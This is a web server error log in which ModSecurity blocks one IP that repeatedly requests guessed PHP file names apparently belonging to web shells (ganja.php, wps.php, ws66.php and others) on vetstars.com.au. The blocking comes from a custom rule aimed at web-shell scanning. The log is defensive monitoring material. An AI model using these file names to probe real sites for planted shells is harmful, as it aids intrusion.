[Sun Apr 19 23:10:44.796426 2026] [:error] [pid 15693:tid 15713] [client 20.203.147.105:21106] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ganja.php"] [unique_id "aeTwdMNMD-ccazQlTsllpAAAAVE"]
[Sun Apr 19 23:10:45.337771 2026] [:error] [pid 47772:tid 47789] [client 20.203.147.105:21089] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ganja.php"] [unique_id "aeTwdYc0L16cb4smAz_fKQAAAAA"]
[Sun Apr 19 23:10:45.820722 2026] [:error] [pid 47775:tid 47853] [client 20.203.147.105:20943] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ganja.php"] [unique_id "aeTwdbmztjlk9tsmoewrKQAAAIo"]
[Sun Apr 19 23:10:46.325007 2026] [:error] [pid 47775:tid 47864] [client 20.203.147.105:21105] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTwdrmztjlk9tsmoewrKwAAAJU"]
[Sun Apr 19 23:10:46.802131 2026] [:error] [pid 15760:tid 15788] [client 20.203.147.105:21005] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTwdvSdD_XHQMJ_IStorAAAAdQ"]
[Sun Apr 19 23:10:47.282906 2026] [:error] [pid 15760:tid 15789] [client 20.203.147.105:21030] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTwd_SdD_XHQMJ_IStorgAAAdU"]
[Sun Apr 19 23:10:47.806720 2026] [:error] [pid 47773:tid 47840] [client 20.203.147.105:21079] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aeTwd-iBHdnCJDuPq9BaTQAAAFg"]
[Sun Apr 19 23:10:48.340901 2026] [:error] [pid 15760:tid 15790] [client 20.203.147.105:21029] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeTwePSdD_XHQMJ_IStosAAAAdY"]
[Sun Apr 19 23:10:48.837483 2026] [:error] [pid 47886:tid 47902] [client 20.203.147.105:20996] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeTweESe8yiyuPrD7yOIDwAAAM4"]
[Sun Apr 19 23:10:49.329873 2026] [:error] [pid 47773:tid 47826] [client 20.203.147.105:21099] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeTweeiBHdnCJDuPq9BaUAAAAEo"]
[Sun Apr 19 23:10:49.831782 2026] [:error] [pid 47773:tid 47820] [client 20.203.147.105:21103] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad821.php"] [unique_id "aeTweeiBHdnCJDuPq9BaUQAAAEQ"]
[Sun Apr 19 23:10:50.311715 2026] [:error] [pid 15763:tid 15798] [client 20.203.147.105:21011] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeTwerMXv1Y1THOoxaAXjQAAAgI"]
[Sun Apr 19 23:10:50.789772 2026] [:error] [pid 47773:tid 47816] [client 20.203.147.105:20995] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeTweuiBHdnCJDuPq9BaVAAAAEA"]
[Sun Apr 19 23:10:51.262494 2026] [:error] [pid 15694:tid 15743] [client 20.203.147.105:20935] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeTwe7imB-jol1fwqAoa2QAAAZE"]
[Sun Apr 19 23:10:51.784605 2026] [:error] [pid 47775:tid 47854] [client 20.203.147.105:21018] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad8210.php"] [unique_id "aeTwe7mztjlk9tsmoewrLwAAAIs"]
[Sun Apr 19 23:10:52.289599 2026] [:error] [pid 47886:tid 47907] [client 20.203.147.105:20992] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeTwfESe8yiyuPrD7yOIEAAAANM"]
[Sun Apr 19 23:10:52.767546 2026] [:error] [pid 15763:tid 15800] [client 20.203.147.105:21074] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeTwfLMXv1Y1THOoxaAXkAAAAgQ"]
[Sun Apr 19 23:10:53.241664 2026] [:error] [pid 15763:tid 15797] [client 20.203.147.105:20954] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeTwfbMXv1Y1THOoxaAXkQAAAgE"]
[Sun Apr 19 23:10:53.716716 2026] [:error] [pid 15763:tid 15812] [client 20.203.147.105:21081] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeTwfbMXv1Y1THOoxaAXkgAAAhA"]
[Sun Apr 19 23:10:54.192547 2026] [:error] [pid 15763:tid 15799] [client 20.203.147.105:21043] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aeTwfrMXv1Y1THOoxaAXkwAAAgM"]
[Sun Apr 19 23:10:54.668473 2026] [:error] [pid 15764:tid 15835] [client 20.203.147.105:21068] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aeTwfmLL_sqdSHoVp-RAzAAAAkk"]
[Sun Apr 19 23:10:55.144799 2026] [:error] [pid 15760:tid 15788] [client 20.203.147.105:21108] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aeTwf_SdD_XHQMJ_IStotwAAAdQ"]
[Sun Apr 19 23:10:55.646292 2026] [:error] [pid 47886:tid 47897] [client 20.203.147.105:21098] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/man.php"] [unique_id "aeTwf0Se8yiyuPrD7yOIEQAAAMk"]
[Sun Apr 19 23:10:56.149072 2026] [:error] [pid 47886:tid 47908] [client 20.203.147.105:20932] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeTwgESe8yiyuPrD7yOIEgAAANQ"]
[Sun Apr 19 23:10:56.620839 2026] [:error] [pid 47775:tid 47855] [client 20.203.147.105:21119] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeTwgLmztjlk9tsmoewrMwAAAIw"]
[Sun Apr 19 23:10:57.123154 2026] [:error] [pid 15694:tid 15741] [client 20.203.147.105:21065] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeTwgbimB-jol1fwqAoa3QAAAY8"]
[Sun Apr 19 23:10:57.631036 2026] [:error] [pid 15764:tid 15840] [client 20.203.147.105:21107] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboute.php"] [unique_id "aeTwgWLL_sqdSHoVp-RA0AAAAk4"]
[Sun Apr 19 23:10:58.105936 2026] [:error] [pid 15693:tid 15699] [client 20.203.147.105:21086] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aeTwgsNMD-ccazQlTsllsgAAAUM"]
[Sun Apr 19 23:10:58.620118 2026] [:error] [pid 47773:tid 47835] [client 20.203.147.105:21039] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aeTwguiBHdnCJDuPq9BaWwAAAFM"]
[Sun Apr 19 23:10:59.154758 2026] [:error] [pid 15764:tid 15839] [client 20.203.147.105:21078] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aeTwg2LL_sqdSHoVp-RA0gAAAk0"]
[Sun Apr 19 23:10:59.641183 2026] [:error] [pid 15760:tid 15769] [client 20.203.147.105:21096] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "aeTwg_SdD_XHQMJ_IStouwAAAcE"]
[Sun Apr 19 23:11:00.160491 2026] [:error] [pid 47772:tid 47800] [client 20.203.147.105:21117] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeTwhIc0L16cb4smAz_fKwAAAAs"]
[Sun Apr 19 23:11:00.643086 2026] [:error] [pid 47773:tid 47823] [client 20.203.147.105:21009] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeTwhOiBHdnCJDuPq9BaXAAAAEc"]
[Sun Apr 19 23:11:01.125777 2026] [:error] [pid 15760:tid 15777] [client 20.203.147.105:21002] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeTwhfSdD_XHQMJ_IStovwAAAck"]
[Sun Apr 19 23:11:01.631478 2026] [:error] [pid 15760:tid 15768] [client 20.203.147.105:21112] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "aeTwhfSdD_XHQMJ_IStowQAAAcA"]
[Sun Apr 19 23:11:02.151841 2026] [:error] [pid 15760:tid 15770] [client 20.203.147.105:21023] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeTwhvSdD_XHQMJ_IStoxgAAAcI"]
[Sun Apr 19 23:11:02.709641 2026] [:error] [pid 15760:tid 15789] [client 20.203.147.105:20994] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeTwhvSdD_XHQMJ_IStoxwAAAdU"]
[Sun Apr 19 23:11:03.223978 2026] [:error] [pid 15765:tid 15856] [client 20.203.147.105:20953] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeTwh_Rqinw-W5EwQ74KyAAAAoM"]
[Sun Apr 19 23:11:03.702172 2026] [:error] [pid 15764:tid 15846] [client 20.203.147.105:20948] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "aeTwh2LL_sqdSHoVp-RA1wAAAlQ"]
[Sun Apr 19 23:11:04.189758 2026] [:error] [pid 15760:tid 15779] [client 20.203.147.105:21115] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeTwiPSdD_XHQMJ_IStoygAAAcs"]
[Sun Apr 19 23:11:04.673263 2026] [:error] [pid 15693:tid 15720] [client 20.203.147.105:21055] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeTwiMNMD-ccazQlTslltQAAAVg"]
[Sun Apr 19 23:11:05.145445 2026] [:error] [pid 47772:tid 47798] [client 20.203.147.105:21102] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeTwiYc0L16cb4smAz_fLwAAAAk"]
[Sun Apr 19 23:11:05.619966 2026] [:error] [pid 15763:tid 15799] [client 20.203.147.105:21036] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "aeTwibMXv1Y1THOoxaAXsAAAAgM"]
[Sun Apr 19 23:11:06.115529 2026] [:error] [pid 15760:tid 15771] [client 20.203.147.105:21110] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeTwivSdD_XHQMJ_IStozwAAAcM"]
[Sun Apr 19 23:11:06.663385 2026] [:error] [pid 47773:tid 47825] [client 20.203.147.105:20982] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeTwiuiBHdnCJDuPq9BaXQAAAEk"]
[Sun Apr 19 23:11:07.173826 2026] [:error] [pid 47772:tid 47810] [client 20.203.147.105:20940] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeTwi4c0L16cb4smAz_fMwAAABU"]
[Sun Apr 19 23:11:07.701415 2026] [:error] [pid 47772:tid 47805] [client 20.203.147.105:21090] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acp.php"] [unique_id "aeTwi4c0L16cb4smAz_fNAAAABA"]
[Sun Apr 19 23:11:08.224115 2026] [:error] [pid 47772:tid 47812] [client 20.203.147.105:21014] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aeTwjIc0L16cb4smAz_fOAAAABc"]
[Sun Apr 19 23:11:08.740033 2026] [:error] [pid 47773:tid 47830] [client 20.203.147.105:21040] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aeTwjOiBHdnCJDuPq9BaXgAAAE4"]
[Sun Apr 19 23:11:09.241681 2026] [:error] [pid 47772:tid 47804] [client 20.203.147.105:21049] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aeTwjYc0L16cb4smAz_fOwAAAA8"]
[Sun Apr 19 23:11:09.743734 2026] [:error] [pid 15693:tid 15716] [client 20.203.147.105:21010] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/link.php"] [unique_id "aeTwjcNMD-ccazQlTsllugAAAVQ"]
[Sun Apr 19 23:11:10.249103 2026] [:error] [pid 47772:tid 47799] [client 20.203.147.105:21037] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeTwjoc0L16cb4smAz_fPgAAAAo"]
[Sun Apr 19 23:11:10.750973 2026] [:error] [pid 15763:tid 15810] [client 20.203.147.105:21022] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeTwjrMXv1Y1THOoxaAXtgAAAg4"]
[Sun Apr 19 23:11:11.261949 2026] [:error] [pid 15760:tid 15784] [client 20.203.147.105:21004] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeTwj_SdD_XHQMJ_ISto0gAAAdA"]
[Sun Apr 19 23:11:11.733587 2026] [:error] [pid 15763:tid 15814] [client 20.203.147.105:20939] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeTwj7MXv1Y1THOoxaAXtwAAAhI"]
[Sun Apr 19 23:11:12.207037 2026] [:error] [pid 15760:tid 15771] [client 20.203.147.105:21016] [client 20.203.147.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeTwkPSdD_XHQMJ_ISto0wAAAcM"]
